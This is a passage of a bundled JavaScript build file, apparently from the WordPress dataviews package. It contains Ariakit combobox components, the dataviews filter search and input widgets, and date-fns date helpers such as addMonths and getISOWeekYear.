9801 ([o2, l2], j2) => j2 !== i2 && o2 <= offset && o2 + l2 >= offset + length
9802 );
9803 });
9804 }
9805 function sortOffsets(offsets) {
9806 return offsets.sort(([a2], [b2]) => a2 - b2);
9807 }
9808 function splitValue(itemValue, userValue) {
9809 if (!itemValue) return itemValue;
9810 if (!userValue) return itemValue;
9811 const userValues = toArray(userValue).filter(Boolean).map(normalizeValue);
9812 const parts = [];
9813 const span = (value, autocomplete = false) => /* @__PURE__ */ (0, import_jsx_runtime57.jsx)(
9814 "span",
9815 {
9816 "data-autocomplete-value": autocomplete ? "" : void 0,
9817 "data-user-value": autocomplete ? void 0 : "",
9818 children: value
9819 },
9820 parts.length
9821 );
9822 const offsets = sortOffsets(
9823 filterOverlappingOffsets(
9824 // Convert userValues into a set to avoid duplicates
9825 getOffsets(normalizeValue(itemValue), new Set(userValues))
9826 )
9827 );
9828 if (!offsets.length) {
9829 parts.push(span(itemValue, true));
9830 return parts;
9831 }
9832 const [firstOffset] = offsets[0];
9833 const values = [
9834 itemValue.slice(0, firstOffset),
9835 ...offsets.flatMap(([offset, length], i2) => {
9836 var _a;
9837 const value = itemValue.slice(offset, offset + length);
9838 const nextOffset = (_a = offsets[i2 + 1]) == null ? void 0 : _a[0];
9839 const nextValue = itemValue.slice(offset + length, nextOffset);
9840 return [value, nextValue];
9841 })
9842 ];
9843 values.forEach((value, i2) => {
9844 if (!value) return;
9845 parts.push(span(value, i2 % 2 === 0));
9846 });
9847 return parts;
9848 }
9849 var useComboboxItemValue = createHook(function useComboboxItemValue2({ store, value, userValue, ...props }) {
9850 const context = useComboboxScopedContext();
9851 store = store || context;
9852 const itemContext = (0, import_react19.useContext)(ComboboxItemValueContext);
9853 const itemValue = value != null ? value : itemContext;
9854 const inputValue = useStoreState(store, (state) => userValue != null ? userValue : state == null ? void 0 : state.value);
9855 const children = (0, import_react19.useMemo)(() => {
9856 if (!itemValue) return;
9857 if (!inputValue) return itemValue;
9858 return splitValue(itemValue, inputValue);
9859 }, [itemValue, inputValue]);
9860 props = {
9861 children,
9862 ...props
9863 };
9864 return removeUndefinedValues(props);
9865 });
9866 var ComboboxItemValue = forwardRef22(function ComboboxItemValue2(props) {
9867 const htmlProps = useComboboxItemValue(props);
9868 return createElement3(TagName11, htmlProps);
9869 });
9870
9871 // node_modules/@ariakit/react-core/esm/combobox/combobox-label.js
9872 var TagName12 = "label";
9873 var useComboboxLabel = createHook(
9874 function useComboboxLabel2({ store, ...props }) {
9875 const context = useComboboxProviderContext();
9876 store = store || context;
9877 invariant(
9878 store,
9879 "ComboboxLabel must receive a `store` prop or be wrapped in a ComboboxProvider component."
9880 );
9881 const comboboxId = store.useState((state) => {
9882 var _a;
9883 return (_a = state.baseElement) == null ? void 0 : _a.id;
9884 });
9885 props = {
9886 htmlFor: comboboxId,
9887 ...props
9888 };
9889 return removeUndefinedValues(props);
9890 }
9891 );
9892 var ComboboxLabel = memo22(
9893 forwardRef22(function ComboboxLabel2(props) {
9894 const htmlProps = useComboboxLabel(props);
9895 return createElement3(TagName12, htmlProps);
9896 })
9897 );
9898
9899 // node_modules/@ariakit/react-core/esm/__chunks/2G6YEJT4.js
9900 var import_react20 = __toESM(require_react(), 1);
9901 var import_jsx_runtime58 = __toESM(require_jsx_runtime(), 1);
9902 var TagName13 = "div";
9903 var useComboboxList = createHook(
9904 function useComboboxList2({ store, alwaysVisible, ...props }) {
9905 const scopedContext = useComboboxScopedContext(true);
9906 const context = useComboboxContext();
9907 store = store || context;
9908 const scopedContextSameStore = !!store && store === scopedContext;
9909 invariant(
9910 store,
9911 "ComboboxList must receive a `store` prop or be wrapped in a ComboboxProvider component."
9912 );
9913 const ref = (0, import_react20.useRef)(null);
9914 const id = useId3(props.id);
9915 const mounted = store.useState("mounted");
9916 const hidden = isHidden(mounted, props.hidden, alwaysVisible);
9917 const style = hidden ? { ...props.style, display: "none" } : props.style;
9918 const multiSelectable = store.useState(
9919 (state) => Array.isArray(state.selectedValue)
9920 );
9921 const role = useAttribute(ref, "role", props.role);
9922 const isCompositeRole = role === "listbox" || role === "tree" || role === "grid";
9923 const ariaMultiSelectable = isCompositeRole ? multiSelectable || void 0 : void 0;
9924 const [hasListboxInside, setHasListboxInside] = (0, import_react20.useState)(false);
9925 const contentElement = store.useState("contentElement");
9926 useSafeLayoutEffect(() => {
9927 if (!mounted) return;
9928 const element = ref.current;
9929 if (!element) return;
9930 if (contentElement !== element) return;
9931 const callback = () => {
9932 setHasListboxInside(!!element.querySelector("[role='listbox']"));
9933 };
9934 const observer = new MutationObserver(callback);
9935 observer.observe(element, {
9936 subtree: true,
9937 childList: true,
9938 attributeFilter: ["role"]
9939 });
9940 callback();
9941 return () => observer.disconnect();
9942 }, [mounted, contentElement]);
9943 if (!hasListboxInside) {
9944 props = {
9945 role: "listbox",
9946 "aria-multiselectable": ariaMultiSelectable,
9947 ...props
9948 };
9949 }
9950 props = useWrapElement(
9951 props,
9952 (element) => /* @__PURE__ */ (0, import_jsx_runtime58.jsx)(ComboboxScopedContextProvider, { value: store, children: /* @__PURE__ */ (0, import_jsx_runtime58.jsx)(ComboboxListRoleContext.Provider, { value: role, children: element }) }),
9953 [store, role]
9954 );
9955 const setContentElement = id && (!scopedContext || !scopedContextSameStore) ? store.setContentElement : null;
9956 props = {
9957 id,
9958 hidden,
9959 ...props,
9960 ref: useMergeRefs(setContentElement, ref, props.ref),
9961 style
9962 };
9963 return removeUndefinedValues(props);
9964 }
9965 );
9966 var ComboboxList = forwardRef22(function ComboboxList2(props) {
9967 const htmlProps = useComboboxList(props);
9968 return createElement3(TagName13, htmlProps);
9969 });
9970
9971 // node_modules/@ariakit/react-core/esm/__chunks/XSIEPKGA.js
9972 var import_react21 = __toESM(require_react(), 1);
9973 var TagValueContext = (0, import_react21.createContext)(null);
9974 var TagRemoveIdContext = (0, import_react21.createContext)(
9975 null
9976 );
9977 var ctx7 = createStoreContext(
9978 [CompositeContextProvider],
9979 [CompositeScopedContextProvider]
9980 );
9981 var useTagContext = ctx7.useContext;
9982 var useTagScopedContext = ctx7.useScopedContext;
9983 var useTagProviderContext = ctx7.useProviderContext;
9984 var TagContextProvider = ctx7.ContextProvider;
9985 var TagScopedContextProvider = ctx7.ScopedContextProvider;
9986
9987 // node_modules/@ariakit/core/esm/combobox/combobox-store.js
9988 var isTouchSafari = isSafari() && isTouchDevice();
9989 function createComboboxStore({
9990 tag,
9991 ...props
9992 } = {}) {
9993 const store = mergeStore(props.store, pick2(tag, ["value", "rtl"]));
9994 throwOnConflictingProps(props, store);
9995 const tagState = tag == null ? void 0 : tag.getState();
9996 const syncState = store == null ? void 0 : store.getState();
9997 const activeId = defaultValue(
9998 props.activeId,
9999 syncState == null ? void 0 : syncState.activeId,
10000 props.defaultActiveId,
10001 null
10002 );
10003 const composite = createCompositeStore({
10004 ...props,
10005 activeId,
10006 includesBaseElement: defaultValue(
10007 props.includesBaseElement,
10008 syncState == null ? void 0 : syncState.includesBaseElement,
10009 true
10010 ),
10011 orientation: defaultValue(
10012 props.orientation,
10013 syncState == null ? void 0 : syncState.orientation,
10014 "vertical"
10015 ),
10016 focusLoop: defaultValue(props.focusLoop, syncState == null ? void 0 : syncState.focusLoop, true),
10017 focusWrap: defaultValue(props.focusWrap, syncState == null ? void 0 : syncState.focusWrap, true),
10018 virtualFocus: defaultValue(
10019 props.virtualFocus,
10020 syncState == null ? void 0 : syncState.virtualFocus,
10021 true
10022 )
10023 });
10024 const popover = createPopoverStore({
10025 ...props,
10026 placement: defaultValue(
10027 props.placement,
10028 syncState == null ? void 0 : syncState.placement,
10029 "bottom-start"
10030 )
10031 });
10032 const value = defaultValue(
10033 props.value,
10034 syncState == null ? void 0 : syncState.value,
10035 props.defaultValue,
10036 ""
10037 );
10038 const selectedValue = defaultValue(
10039 props.selectedValue,
10040 syncState == null ? void 0 : syncState.selectedValue,
10041 tagState == null ? void 0 : tagState.values,
10042 props.defaultSelectedValue,
10043 ""
10044 );
10045 const multiSelectable = Array.isArray(selectedValue);
10046 const initialState = {
10047 ...composite.getState(),
10048 ...popover.getState(),
10049 value,
10050 selectedValue,
10051 resetValueOnSelect: defaultValue(
10052 props.resetValueOnSelect,
10053 syncState == null ? void 0 : syncState.resetValueOnSelect,
10054 multiSelectable
10055 ),
10056 resetValueOnHide: defaultValue(
10057 props.resetValueOnHide,
10058 syncState == null ? void 0 : syncState.resetValueOnHide,
10059 multiSelectable && !tag
10060 ),
10061 activeValue: syncState == null ? void 0 : syncState.activeValue
10062 };
10063 const combobox = createStore(initialState, composite, popover, store);
10064 if (isTouchSafari) {
10065 setup(
10066 combobox,
10067 () => sync(combobox, ["virtualFocus"], () => {
10068 combobox.setState("virtualFocus", false);
10069 })
10070 );
10071 }
10072 setup(combobox, () => {
10073 if (!tag) return;
10074 return chain(
10075 sync(combobox, ["selectedValue"], (state) => {
10076 if (!Array.isArray(state.selectedValue)) return;
10077 tag.setValues(state.selectedValue);
10078 }),
10079 sync(tag, ["values"], (state) => {
10080 combobox.setState("selectedValue", state.values);
10081 })
10082 );
10083 });
10084 setup(
10085 combobox,
10086 () => sync(combobox, ["resetValueOnHide", "mounted"], (state) => {
10087 if (!state.resetValueOnHide) return;
10088 if (state.mounted) return;
10089 combobox.setState("value", value);
10090 })
10091 );
10092 setup(
10093 combobox,
10094 () => sync(combobox, ["open"], (state) => {
10095 if (state.open) return;
10096 combobox.setState("activeId", activeId);
10097 combobox.setState("moves", 0);
10098 })
10099 );
10100 setup(
10101 combobox,
10102 () => sync(combobox, ["moves", "activeId"], (state, prevState) => {
10103 if (state.moves === prevState.moves) {
10104 combobox.setState("activeValue", void 0);
10105 }
10106 })
10107 );
10108 setup(
10109 combobox,
10110 () => batch(combobox, ["moves", "renderedItems"], (state, prev) => {
10111 if (state.moves === prev.moves) return;
10112 const { activeId: activeId2 } = combobox.getState();
10113 const activeItem = composite.item(activeId2);
10114 combobox.setState("activeValue", activeItem == null ? void 0 : activeItem.value);
10115 })
10116 );
10117 return {
10118 ...popover,
10119 ...composite,
10120 ...combobox,
10121 tag,
10122 setValue: (value2) => combobox.setState("value", value2),
10123 resetValue: () => combobox.setState("value", initialState.value),
10124 setSelectedValue: (selectedValue2) => combobox.setState("selectedValue", selectedValue2)
10125 };
10126 }
10127
10128 // node_modules/@ariakit/react-core/esm/__chunks/SVN33SY6.js
10129 function useComboboxStoreOptions(props) {
10130 const tag = useTagContext();
10131 props = {
10132 ...props,
10133 tag: props.tag !== void 0 ? props.tag : tag
10134 };
10135 return useCompositeStoreOptions(props);
10136 }
10137 function useComboboxStoreProps(store, update2, props) {
10138 useUpdateEffect(update2, [props.tag]);
10139 useStoreProps(store, props, "value", "setValue");
10140 useStoreProps(store, props, "selectedValue", "setSelectedValue");
10141 useStoreProps(store, props, "resetValueOnHide");
10142 useStoreProps(store, props, "resetValueOnSelect");
10143 return Object.assign(
10144 useCompositeStoreProps(
10145 usePopoverStoreProps(store, update2, props),
10146 update2,
10147 props
10148 ),
10149 { tag: props.tag }
10150 );
10151 }
10152 function useComboboxStore(props = {}) {
10153 props = useComboboxStoreOptions(props);
10154 const [store, update2] = useStore(createComboboxStore, props);
10155 return useComboboxStoreProps(store, update2, props);
10156 }
10157
10158 // node_modules/@ariakit/react-core/esm/combobox/combobox-provider.js
10159 var import_jsx_runtime59 = __toESM(require_jsx_runtime(), 1);
10160 function ComboboxProvider(props = {}) {
10161 const store = useComboboxStore(props);
10162 return /* @__PURE__ */ (0, import_jsx_runtime59.jsx)(ComboboxContextProvider, { value: store, children: props.children });
10163 }
10164
10165 // packages/dataviews/build-module/components/dataviews-filters/search-widget.mjs
10166 var import_remove_accents = __toESM(require_remove_accents(), 1);
10167 var import_compose8 = __toESM(require_compose(), 1);
10168 var import_i18n28 = __toESM(require_i18n(), 1);
10169 var import_element25 = __toESM(require_element(), 1);
10170 var import_components19 = __toESM(require_components(), 1);
10171
10172 // packages/dataviews/build-module/components/dataviews-filters/utils.mjs
10173 var EMPTY_ARRAY3 = [];
10174 var getCurrentValue = (filterDefinition, currentFilter) => {
10175 if (filterDefinition.singleSelection) {
10176 return currentFilter?.value;
10177 }
10178 if (Array.isArray(currentFilter?.value)) {
10179 return currentFilter.value;
10180 }
10181 if (!Array.isArray(currentFilter?.value) && !!currentFilter?.value) {
10182 return [currentFilter.value];
10183 }
10184 return EMPTY_ARRAY3;
10185 };
10186
10187 // packages/dataviews/build-module/hooks/use-elements.mjs
10188 var import_element24 = __toESM(require_element(), 1);
10189 var EMPTY_ARRAY4 = [];
10190 function useElements({
10191 elements,
10192 getElements
10193 }) {
10194 const staticElements = Array.isArray(elements) && elements.length > 0 ? elements : EMPTY_ARRAY4;
10195 const [records, setRecords] = (0, import_element24.useState)(staticElements);
10196 const [isLoading, setIsLoading] = (0, import_element24.useState)(false);
10197 (0, import_element24.useEffect)(() => {
10198 if (!getElements) {
10199 setRecords(staticElements);
10200 return;
10201 }
10202 let cancelled = false;
10203 setIsLoading(true);
10204 getElements().then((fetchedElements) => {
10205 if (!cancelled) {
10206 const dynamicElements = Array.isArray(fetchedElements) && fetchedElements.length > 0 ? fetchedElements : staticElements;
10207 setRecords(dynamicElements);
10208 }
10209 }).catch(() => {
10210 if (!cancelled) {
10211 setRecords(staticElements);
10212 }
10213 }).finally(() => {
10214 if (!cancelled) {
10215 setIsLoading(false);
10216 }
10217 });
10218 return () => {
10219 cancelled = true;
10220 };
10221 }, [getElements, staticElements]);
10222 return {
10223 elements: records,
10224 isLoading
10225 };
10226 }
10227
10228 // packages/dataviews/build-module/components/dataviews-filters/search-widget.mjs
10229 var import_jsx_runtime60 = __toESM(require_jsx_runtime(), 1);
10230 function normalizeSearchInput(input = "") {
10231 return (0, import_remove_accents.default)(input.trim().toLowerCase());
10232 }
10233 var getNewValue = (filterDefinition, currentFilter, value) => {
10234 if (filterDefinition.singleSelection) {
10235 return value;
10236 }
10237 if (Array.isArray(currentFilter?.value)) {
10238 return currentFilter.value.includes(value) ? currentFilter.value.filter((v2) => v2 !== value) : [...currentFilter.value, value];
10239 }
10240 return [value];
10241 };
10242 function generateFilterElementCompositeItemId(prefix, filterElementValue) {
10243 return `${prefix}-${filterElementValue}`;
10244 }
10245 var MultiSelectionOption = ({ selected }) => {
10246 return /* @__PURE__ */ (0, import_jsx_runtime60.jsx)(
10247 "span",
10248 {
10249 className: clsx_default(
10250 "dataviews-filters__search-widget-listitem-multi-selection",
10251 { "is-selected": selected }
10252 ),
10253 children: selected && /* @__PURE__ */ (0, import_jsx_runtime60.jsx)(import_components19.Icon, { icon: check_default })
10254 }
10255 );
10256 };
10257 var SingleSelectionOption = ({ selected }) => {
10258 return /* @__PURE__ */ (0, import_jsx_runtime60.jsx)(
10259 "span",
10260 {
10261 className: clsx_default(
10262 "dataviews-filters__search-widget-listitem-single-selection",
10263 { "is-selected": selected }
10264 )
10265 }
10266 );
10267 };
10268 function ListBox({ view, filter, onChangeView }) {
10269 const baseId = (0, import_compose8.useInstanceId)(ListBox, "dataviews-filter-list-box");
10270 const [activeCompositeId, setActiveCompositeId] = (0, import_element25.useState)(
10271 // When there are one or less operators, the first item is set as active
10272 // (by setting the initial `activeId` to `undefined`).
10273 // With 2 or more operators, the focus is moved on the operators control
10274 // (by setting the initial `activeId` to `null`), meaning that there won't
10275 // be an active item initially. Focus is then managed via the
10276 // `onFocusVisible` callback.
10277 filter.operators?.length === 1 ? void 0 : null
10278 );
10279 const currentFilter = view.filters?.find(
10280 (f2) => f2.field === filter.field
10281 );
10282 const currentValue = getCurrentValue(filter, currentFilter);
10283 return /* @__PURE__ */ (0, import_jsx_runtime60.jsx)(
10284 import_components19.Composite,
10285 {
10286 virtualFocus: true,
10287 focusLoop: true,
10288 activeId: activeCompositeId,
10289 setActiveId: setActiveCompositeId,
10290 role: "listbox",
10291 className: "dataviews-filters__search-widget-listbox",
10292 "aria-label": (0, import_i18n28.sprintf)(
10293 /* translators: List of items for a filter. 1: Filter name. e.g.: "List of: Author". */
10294 (0, import_i18n28.__)("List of: %1$s"),
10295 filter.name
10296 ),
10297 onFocusVisible: () => {
10298 if (!activeCompositeId && filter.elements.length) {
10299 setActiveCompositeId(
10300 generateFilterElementCompositeItemId(
10301 baseId,
10302 filter.elements[0].value
10303 )
10304 );
10305 }
10306 },
10307 render: /* @__PURE__ */ (0, import_jsx_runtime60.jsx)(import_components19.Composite.Typeahead, {}),
10308 children: filter.elements.map((element) => /* @__PURE__ */ (0, import_jsx_runtime60.jsxs)(
10309 import_components19.Composite.Hover,
10310 {
10311 render: /* @__PURE__ */ (0, import_jsx_runtime60.jsx)(
10312 import_components19.Composite.Item,
10313 {
10314 id: generateFilterElementCompositeItemId(
10315 baseId,
10316 element.value
10317 ),
10318 render: /* @__PURE__ */ (0, import_jsx_runtime60.jsx)(
10319 "div",
10320 {
10321 "aria-label": element.label,
10322 role: "option",
10323 className: "dataviews-filters__search-widget-listitem"
10324 }
10325 ),
10326 onClick: () => {
10327 const newFilters = currentFilter ? [
10328 ...(view.filters ?? []).map(
10329 (_filter) => {
10330 if (_filter.field === filter.field) {
10331 return {
10332 ..._filter,
10333 operator: currentFilter.operator || filter.operators[0],
10334 value: getNewValue(
10335 filter,
10336 currentFilter,
10337 element.value
10338 )
10339 };
10340 }
10341 return _filter;
10342 }
10343 )
10344 ] : [
10345 ...view.filters ?? [],
10346 {
10347 field: filter.field,
10348 operator: filter.operators[0],
10349 value: getNewValue(
10350 filter,
10351 currentFilter,
10352 element.value
10353 )
10354 }
10355 ];
10356 onChangeView({
10357 ...view,
10358 page: 1,
10359 filters: newFilters
10360 });
10361 }
10362 }
10363 ),
10364 children: [
10365 filter.singleSelection && /* @__PURE__ */ (0, import_jsx_runtime60.jsx)(
10366 SingleSelectionOption,
10367 {
10368 selected: currentValue === element.value
10369 }
10370 ),
10371 !filter.singleSelection && /* @__PURE__ */ (0, import_jsx_runtime60.jsx)(
10372 MultiSelectionOption,
10373 {
10374 selected: currentValue.includes(element.value)
10375 }
10376 ),
10377 /* @__PURE__ */ (0, import_jsx_runtime60.jsx)(
10378 "span",
10379 {
10380 className: "dataviews-filters__search-widget-listitem-value",
10381 title: element.label,
10382 children: element.label
10383 }
10384 )
10385 ]
10386 },
10387 element.value
10388 ))
10389 }
10390 );
10391 }
10392 function ComboboxList22({ view, filter, onChangeView }) {
10393 const [searchValue, setSearchValue] = (0, import_element25.useState)("");
10394 const deferredSearchValue = (0, import_element25.useDeferredValue)(searchValue);
10395 const currentFilter = view.filters?.find(
10396 (_filter) => _filter.field === filter.field
10397 );
10398 const currentValue = getCurrentValue(filter, currentFilter);
10399 const matches = (0, import_element25.useMemo)(() => {
10400 const normalizedSearch = normalizeSearchInput(deferredSearchValue);
10401 return filter.elements.filter(
10402 (item) => normalizeSearchInput(item.label).includes(normalizedSearch)
10403 );
10404 }, [filter.elements, deferredSearchValue]);
10405 return /* @__PURE__ */ (0, import_jsx_runtime60.jsxs)(
10406 ComboboxProvider,
10407 {
10408 selectedValue: currentValue,
10409 setSelectedValue: (value) => {
10410 const newFilters = currentFilter ? [
10411 ...(view.filters ?? []).map((_filter) => {
10412 if (_filter.field === filter.field) {
10413 return {
10414 ..._filter,
10415 operator: currentFilter.operator || filter.operators[0],
10416 value
10417 };
10418 }
10419 return _filter;
10420 })
10421 ] : [
10422 ...view.filters ?? [],
10423 {
10424 field: filter.field,
10425 operator: filter.operators[0],
10426 value
10427 }
10428 ];
10429 onChangeView({
10430 ...view,
10431 page: 1,
10432 filters: newFilters
10433 });
10434 },
10435 setValue: setSearchValue,
10436 children: [
10437 /* @__PURE__ */ (0, import_jsx_runtime60.jsxs)("div", { className: "dataviews-filters__search-widget-filter-combobox__wrapper", children: [
10438 /* @__PURE__ */ (0, import_jsx_runtime60.jsx)(
10439 ComboboxLabel,
10440 {
10441 render: /* @__PURE__ */ (0, import_jsx_runtime60.jsx)(import_components19.VisuallyHidden, { children: (0, import_i18n28.__)("Search items") }),
10442 children: (0, import_i18n28.__)("Search items")
10443 }
10444 ),
10445 /* @__PURE__ */ (0, import_jsx_runtime60.jsx)(
10446 Combobox,
10447 {
10448 autoSelect: "always",
10449 placeholder: (0, import_i18n28.__)("Search"),
10450 className: "dataviews-filters__search-widget-filter-combobox__input"
10451 }
10452 ),
10453 /* @__PURE__ */ (0, import_jsx_runtime60.jsx)("div", { className: "dataviews-filters__search-widget-filter-combobox__icon", children: /* @__PURE__ */ (0, import_jsx_runtime60.jsx)(import_components19.Icon, { icon: search_default }) })
10454 ] }),
10455 /* @__PURE__ */ (0, import_jsx_runtime60.jsxs)(
10456 ComboboxList,
10457 {
10458 className: "dataviews-filters__search-widget-filter-combobox-list",
10459 alwaysVisible: true,
10460 children: [
10461 matches.map((element) => {
10462 return /* @__PURE__ */ (0, import_jsx_runtime60.jsxs)(
10463 ComboboxItem,
10464 {
10465 resetValueOnSelect: false,
10466 value: element.value,
10467 className: "dataviews-filters__search-widget-listitem",
10468 hideOnClick: false,
10469 setValueOnClick: false,
10470 focusOnHover: true,
10471 children: [
10472 filter.singleSelection && /* @__PURE__ */ (0, import_jsx_runtime60.jsx)(
10473 SingleSelectionOption,
10474 {
10475 selected: currentValue === element.value
10476 }
10477 ),
10478 !filter.singleSelection && /* @__PURE__ */ (0, import_jsx_runtime60.jsx)(
10479 MultiSelectionOption,
10480 {
10481 selected: currentValue.includes(
10482 element.value
10483 )
10484 }
10485 ),
10486 /* @__PURE__ */ (0, import_jsx_runtime60.jsxs)(
10487 "span",
10488 {
10489 className: "dataviews-filters__search-widget-listitem-value",
10490 title: element.label,
10491 children: [
10492 /* @__PURE__ */ (0, import_jsx_runtime60.jsx)(
10493 ComboboxItemValue,
10494 {
10495 className: "dataviews-filters__search-widget-filter-combobox-item-value",
10496 value: element.label
10497 }
10498 ),
10499 !!element.description && /* @__PURE__ */ (0, import_jsx_runtime60.jsx)("span", { className: "dataviews-filters__search-widget-listitem-description", children: element.description })
10500 ]
10501 }
10502 )
10503 ]
10504 },
10505 element.value
10506 );
10507 }),
10508 !matches.length && /* @__PURE__ */ (0, import_jsx_runtime60.jsx)("p", { children: (0, import_i18n28.__)("No results found") })
10509 ]
10510 }
10511 )
10512 ]
10513 }
10514 );
10515 }
10516 function SearchWidget(props) {
10517 const { elements, isLoading } = useElements({
10518 elements: props.filter.elements,
10519 getElements: props.filter.getElements
10520 });
10521 if (isLoading) {
10522 return /* @__PURE__ */ (0, import_jsx_runtime60.jsx)("div", { className: "dataviews-filters__search-widget-no-elements", children: /* @__PURE__ */ (0, import_jsx_runtime60.jsx)(import_components19.Spinner, {}) });
10523 }
10524 if (elements.length === 0) {
10525 return /* @__PURE__ */ (0, import_jsx_runtime60.jsx)("div", { className: "dataviews-filters__search-widget-no-elements", children: (0, import_i18n28.__)("No elements found") });
10526 }
10527 const Widget = elements.length > 10 ? ComboboxList22 : ListBox;
10528 return /* @__PURE__ */ (0, import_jsx_runtime60.jsx)(Widget, { ...props, filter: { ...props.filter, elements } });
10529 }
10530
10531 // packages/dataviews/build-module/components/dataviews-filters/input-widget.mjs
10532 var import_es6 = __toESM(require_es6(), 1);
10533 var import_compose9 = __toESM(require_compose(), 1);
10534 var import_element26 = __toESM(require_element(), 1);
10535 var import_components20 = __toESM(require_components(), 1);
10536 var import_jsx_runtime61 = __toESM(require_jsx_runtime(), 1);
10537 function InputWidget({
10538 filter,
10539 view,
10540 onChangeView,
10541 fields
10542 }) {
10543 const currentFilter = view.filters?.find(
10544 (f2) => f2.field === filter.field
10545 );
10546 const currentValue = getCurrentValue(filter, currentFilter);
10547 const field = (0, import_element26.useMemo)(() => {
10548 const currentField = fields.find((f2) => f2.id === filter.field);
10549 if (currentField) {
10550 return {
10551 ...currentField,
10552 // Deactivate validation for filters.
10553 isValid: {},
10554 // Configure getValue/setValue as if Item was a plain object.
10555 getValue: ({ item }) => item[currentField.id],
10556 setValue: ({ value }) => ({
10557 [currentField.id]: value
10558 })
10559 };
10560 }
10561 return currentField;
10562 }, [fields, filter.field]);
10563 const data = (0, import_element26.useMemo)(() => {
10564 return (view.filters ?? []).reduce(
10565 (acc, activeFilter) => {
10566 acc[activeFilter.field] = activeFilter.value;
10567 return acc;
10568 },
10569 {}
10570 );
10571 }, [view.filters]);
10572 const handleChange = (0, import_compose9.useEvent)((updatedData) => {
10573 if (!field || !currentFilter) {
10574 return;
10575 }
10576 const nextValue = field.getValue({ item: updatedData });
10577 if ((0, import_es6.default)(nextValue, currentValue)) {
10578 return;
10579 }
10580 onChangeView({
10581 ...view,
10582 filters: (view.filters ?? []).map(
10583 (_filter) => _filter.field === filter.field ? {
10584 ..._filter,
10585 operator: currentFilter.operator || filter.operators[0],
10586 // Consider empty strings as undefined:
10587 //
10588 // - undefined as value means the filter is unset: the filter widget displays no value and the search returns all records
10589 // - empty string as value means "search empty string": returns only the records that have an empty string as value
10590 //
10591 // In practice, this means the filter will not be able to find an empty string as the value.
10592 value: nextValue === "" ? void 0 : nextValue
10593 } : _filter
10594 )
10595 });
10596 });
10597 if (!field || !field.Edit || !currentFilter) {
10598 return null;
10599 }
10600 return /* @__PURE__ */ (0, import_jsx_runtime61.jsx)(
10601 import_components20.Flex,
10602 {
10603 className: "dataviews-filters__user-input-widget",
10604 gap: 2.5,
10605 direction: "column",
10606 children: /* @__PURE__ */ (0, import_jsx_runtime61.jsx)(
10607 field.Edit,
10608 {
10609 hideLabelFromVision: true,
10610 data,
10611 field,
10612 operator: currentFilter.operator,
10613 onChange: handleChange
10614 }
10615 )
10616 }
10617 );
10618 }
10619
10620 // packages/dataviews/node_modules/date-fns/constants.js
10621 var daysInYear = 365.2425;
10622 var maxTime = Math.pow(10, 8) * 24 * 60 * 60 * 1e3;
10623 var minTime = -maxTime;
10624 var millisecondsInWeek = 6048e5;
10625 var millisecondsInDay = 864e5;
10626 var secondsInHour = 3600;
10627 var secondsInDay = secondsInHour * 24;
10628 var secondsInWeek = secondsInDay * 7;
10629 var secondsInYear = secondsInDay * daysInYear;
10630 var secondsInMonth = secondsInYear / 12;
10631 var secondsInQuarter = secondsInMonth * 3;
10632 var constructFromSymbol = /* @__PURE__ */ Symbol.for("constructDateFrom");
10633
10634 // packages/dataviews/node_modules/date-fns/constructFrom.js
10635 function constructFrom(date, value) {
10636 if (typeof date === "function") return date(value);
10637 if (date && typeof date === "object" && constructFromSymbol in date)
10638 return date[constructFromSymbol](value);
10639 if (date instanceof Date) return new date.constructor(value);
10640 return new Date(value);
10641 }
10642
10643 // packages/dataviews/node_modules/date-fns/toDate.js
10644 function toDate(argument, context) {
10645 return constructFrom(context || argument, argument);
10646 }
10647
10648 // packages/dataviews/node_modules/date-fns/addDays.js
10649 function addDays(date, amount, options) {
10650 const _date = toDate(date, options?.in);
10651 if (isNaN(amount)) return constructFrom(options?.in || date, NaN);
10652 if (!amount) return _date;
10653 _date.setDate(_date.getDate() + amount);
10654 return _date;
10655 }
10656
10657 // packages/dataviews/node_modules/date-fns/addMonths.js
10658 function addMonths(date, amount, options) {
10659 const _date = toDate(date, options?.in);
10660 if (isNaN(amount)) return constructFrom(options?.in || date, NaN);
10661 if (!amount) {
10662 return _date;
10663 }
10664 const dayOfMonth = _date.getDate();
10665 const endOfDesiredMonth = constructFrom(options?.in || date, _date.getTime());
10666 endOfDesiredMonth.setMonth(_date.getMonth() + amount + 1, 0);
10667 const daysInMonth = endOfDesiredMonth.getDate();
10668 if (dayOfMonth >= daysInMonth) {
10669 return endOfDesiredMonth;
10670 } else {
10671 _date.setFullYear(
10672 endOfDesiredMonth.getFullYear(),
10673 endOfDesiredMonth.getMonth(),
10674 dayOfMonth
10675 );
10676 return _date;
10677 }
10678 }
10679
10680 // packages/dataviews/node_modules/date-fns/_lib/defaultOptions.js
10681 var defaultOptions = {};
10682 function getDefaultOptions() {
10683 return defaultOptions;
10684 }
10685
10686 // packages/dataviews/node_modules/date-fns/startOfWeek.js
10687 function startOfWeek(date, options) {
10688 const defaultOptions2 = getDefaultOptions();
10689 const weekStartsOn = options?.weekStartsOn ?? options?.locale?.options?.weekStartsOn ?? defaultOptions2.weekStartsOn ?? defaultOptions2.locale?.options?.weekStartsOn ?? 0;
10690 const _date = toDate(date, options?.in);
10691 const day = _date.getDay();
10692 const diff = (day < weekStartsOn ? 7 : 0) + day - weekStartsOn;
10693 _date.setDate(_date.getDate() - diff);
10694 _date.setHours(0, 0, 0, 0);
10695 return _date;
10696 }
10697
10698 // packages/dataviews/node_modules/date-fns/startOfISOWeek.js
10699 function startOfISOWeek(date, options) {
10700 return startOfWeek(date, { ...options, weekStartsOn: 1 });
10701 }
10702
10703 // packages/dataviews/node_modules/date-fns/getISOWeekYear.js
10704 function getISOWeekYear(date, options) {
10705 const _date = toDate(date, options?.in);
10706 const year = _date.getFullYear();
10707 const fourthOfJanuaryOfNextYear = constructFrom(_date, 0);
10708 fourthOfJanuaryOfNextYear.setFullYear(year + 1, 0, 4);
10709 fourthOfJanuaryOfNextYear.setHours(0, 0, 0, 0);
10710 const startOfNextYear = startOfISOWeek(fourthOfJanuaryOfNextYear);
10711 const fourthOfJanuaryOfThisYear = constructFrom(_date, 0);
10712 fourthOfJanuaryOfThisYear.setFullYear(year, 0, 4);
10713 fourthOfJanuaryOfThisYear.setHours(0, 0, 0, 0);
10714 const startOfThisYear = startOfISOWeek(fourthOfJanuaryOfThisYear);
10715 if (_date.getTime() >= startOfNextYear.getTime()) {
10716 return year + 1;
10717 } else if (_date.getTime() >= startOfThisYear.getTime()) {
10718 return year;
10719 } else {
10720 return year - 1;
10721 }
10722 }
10723
10724 // packages/dataviews/node_modules/date-fns/_lib/getTimezoneOffsetInMilliseconds.js
